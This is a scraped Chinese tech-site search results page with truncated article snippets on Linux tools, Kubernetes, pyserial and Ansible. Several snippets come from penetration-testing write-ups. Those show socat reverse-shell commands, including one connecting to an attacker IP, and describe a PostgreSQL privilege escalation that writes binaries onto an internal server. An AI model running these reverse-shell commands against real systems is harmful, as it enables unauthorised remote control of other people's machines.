首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

适用于linux的5个最佳命令行归档工具

1.tar 命令 tar是标准的UNIX/Linux归档应用工具。早期它曾经是一个磁带归档程序,后来逐渐发展成为能够处理各种归档文件的通用归档包。tar接受很多带有选项的归档过滤器。...# tar -zxvf Name_of_tar_file.tar.gz shar命令 shar代表Shellarchive 是一个 shell 脚本,执行该脚本将创建文件。...-l:限制选项中指定的输出大小,但不要拆分它。 -L:限制选项中指定的输出大小并将其拆分。 -n:要包含在 shar 文件头中的存档名称。 -a:允许自动生成标题。...# unshar file_name.shar 3.ar 命令 ar是档案的创建和操作应用程序,主要用于二进制目标文件库。...相关文章 Linux之tar命令 linux之tar使用技巧 linux中的18个tar命令示例

76410

IoT-Implant-Toolkit:一款针对IoT设备的木马测试工具

在Ubuntu 18.04上你可以运行下列命令: $sudo apt install sox ffmpeg 从项目的GitHub代码库上下载源代码: $ git clone https://github.com...工具支持下列三种命令: list:显示所有可用插件; run:运行指定插件,命令样本:”run [插件名] [参数]“; exit:退出; 功能介绍 该框架中的每一款软件都以插件的形式运行,因此该工具的可扩展性非常高...插件列表 分类 工具名 描述 资源引用 串口调试 pyserial Modem控制和终端模拟工具 https://github.com/pyserial/pyserial 串口调试 baudrate.py...Dupont Wire 电线 EPROM Burner Programmer Burner 编程器 其他实用软件工具 由于时间问题,我们现在还没有添加太多的功能插件,下面这个列表中的工具虽然现在不适用于我们这款框架

91720
您找到你想要的搜索结果了吗?
是的
没有找到

Privilege Escalation特权提升及防御思路

技术 1:Python我们要讨论的第一种技术仅适用于 Linux 机器,因为它们几乎总是默认安装 Python。该技术有三个操作步骤:1. ...生成的 shell 是不稳定的,但这将适用于 Linux 或 Windows,并且等效于 nc -lvnp 。...Linux 目标的等效命令如下:socat TCP:: EXEC:"bash -li"Bind Shells在 Linux 目标上,我们将使用以下命令socat...要返回连接,我们将使用:socat OPENSSL::,verify=0 EXEC:/bin/bash相同的技术适用于 bind shell:目标:socat...和往常一样,目标在右边,攻击者在左边:图片这种技术也适用于上一个任务中介绍的特殊的、仅限 Linux 的 TTY shell —— 弄清楚它的语法将是这个任务的挑战。

99340

安全研究 | 使用PortShellCrypter对你的shell会话进行加密

然后,在Linux设备上切换到该项目目录,并运行make命令即可。 在BSD上,我们还需要安装GNU make,并调用gmake命令。...如果远程站点具有IPv6连接,这也适用于[IPv6]地址。实际上,我们甚至可以使用它将IPv4软件转换为IPv6,因为我们总是在本地连接到127.0.0.1。 此时,我们可以传递多个-T和-U参数。...由于SSH不转发UDP数据包,因此通常会使用两个socat连接器或类似的连接器通过Tor节点进行解析。...PSC的优点是保持UDP数据报边界,而SSH-L上的socat可能会打破数据报边界并创建格式错误的DNS请求。 会话将使用我们在Makefile中选择的PSK的aes_256_ctr进行加密。...UART会话可以通过屏幕使用,但不能通过minicom使用,因为minicom将创建带有状态行的不可见窗口,并充当破坏PSC协议的过滤器。

80030

第22篇:一次艰难的PostgreSQL不出网提权过程

在网上看了几篇漏洞复现文章之后,感觉这个漏洞不太好利用,提权成功需要等待“超级用户触发”,而且这个漏洞是“把一个普通的数据库用户权限提升到数据库管理员权限”,而我们需要的是一个Linux服务器权限,所以这个CVE漏洞不适用于本次测试工作...执行如下命令后,将会获取到一个完全交互式的TTY会话: Vps上监听端口 socat file:`tty`,raw,echo=0 tcp-listen:8888 内网服务器上运行 socat exec:...(下图来源于网络) 分割二进制大文件写入成功 把这个socat单文件转成16进制格式的,通过postgres提权命令执行写入。结果通过ls -lah命令发现文件并没有写进去,原因在哪里呢?...于是把二进制文件分割开,挨个执行echo -e -n命令叠加写入二进制文件,经过一系列测试发现,一个367k大小的socat文件,需要分割成近15份才能写入成功。...也是我用java写了一个小程序,将socat文件分割成15份,并且自动生成postgres提权命令。 Part3 总结 1.

1.2K30

60 个 Linux 网络命令和脚本收集 不断更新

前言 最近,我想使用至少 3 个工具通过命令行测试网络吞吐量。对于我的一生,我不记得 iperf。无法记住以前使用过的命令行工具令人沮丧,而且我们都可以与之相关。...所以我又花了一两个小时来编译这份正在进行的 Linux 网络命令和脚本列表。我主要期待建议,因为我知道总是缺少某些东西或有新的脚本可以尝试。...socat – 建立两个双向字节流并在它们之间传输数据。 速度计– 测量和显示网络上的数据速率。...websocat  – 从/到 web 套接字到/从普通套接字的连接转发器,以 socat 的风格。 wget – 使用 HTTP、HTTPS、FTP 和 FTPS 检索文件。...适用于 Linux 的无线工具——包括 iwconfig、iwlist、iwspy、iwpriv 和 ifrename。 Wireshark – 网络协议分析器。

84020

CentOS7下离线安装KubeSphere3.0集群

systemctl stop firewalld sed -i 's/enforcing/disabled/' /etc/selinux/config setenforce 0 2)、三台主机安装socat...conntrack ebtables ipset等依赖项 这里为了方便,主机在线yum安装了这些依赖项 yum install socat conntrack ebtables ipset ?...(图片可放大查看) 在离线环境中,可以使用私有包、RPM 包(适用于 CentOS)来安装这些依赖项 3)、三台主机配置主机名解析(此步骤可以忽略) cat >> /etc/hosts << EOF 192.168.31.127...由于我已经本地编辑好了config-sample.yaml,直接覆盖 #请根据自己实际的环境修改config-sample.yaml cp -rf /root/config-sample.yaml ./ 执行如下命令会对配置文件中所有节点安装依赖...(图片可放大查看) 这时可以使用docker images命令查看是否创建了私有仓库 docker images 步骤5、镜像导入 push-images.sh将镜像导入之前准备的dockerhub.kubekey.local

3.3K20

树莓派基础实验37:pyserial模块通信实验

串口是计算机上一种非常通用的设备通信协议,pyserial模块封装了python对串口的访问,为多平台的使用提供了统一的接口。   ...本实验中学习树莓派中使用Python的pyserial模块,通过串口与PC电脑的串口调试工具进行通信。...二、组件 ★Raspberry Pi 3 B+主板*1 ★树莓派电源*1 ★USB TO TTL模块*1 ★面包板*1(可选) ★40P软排线*1 ★跳线若干 三、实验原理 (一)pyserial概述...(二)pyserial介绍 1.本地端口 class serial.Serial __init__(port=None, baudrate=9600, bytesize=EIGHTBITS,...另请注意,readlines()仅适用于超时。 readlines()取决于是否存在超时,并将其解释为EOF(文件末尾)。如果未正确打开端口,则会引发异常。

2.7K30

反弹Shell,看这一篇就够了

反弹shell通常适用于如下几种情况: •目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。...,就会执行该命令,成功获得目标机的shell: 利用Socat反弹shell Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与...我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里:http://brieflyx.me/2015/linux-tools/socat-introduction/ 安装Socat...的方法很简单: •Ubuntu等可以直接使用 apt-get install socat 命令进行安装•也可以去官网下载源码包:http://www.dest-unreach.org/socat 攻击机开启本地监听...: socat TCP-LISTEN:2333 -或nc -lvvp 2333 目标机主动连接攻击机: socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -

28.5K119

现代 IT 人一定要知道的 Ansible系列教程:持续交付和滚动升级

适用于站点范围的内容,例如 yum 存储库配置、防火墙配置以及需要应用于所有服务器的任何其他内容。 接下来的四个任务针对特定的主机组运行,并将特定角色应用于这些服务器。...如何组织这些角色取决于我们的应用程序,但大多数站点都会有一个或多个适用于的常见角色所有系统,然后是一系列特定于应用程序的角色,用于安装和配置站点的特定部分。...name: disable the server in haproxy shell: echo "disable server myapplb/{{ inventory_hostname }}" | socat...name: Enable the server in haproxy shell: echo "enable server myapplb/{{ inventory_hostname }}" | socat...为了与持续集成系统集成,可以使用命令行工具轻松触发 playbook 运行,或者,如果您使用的是 AWX,则使用命令或内置 REST API。

19510
领券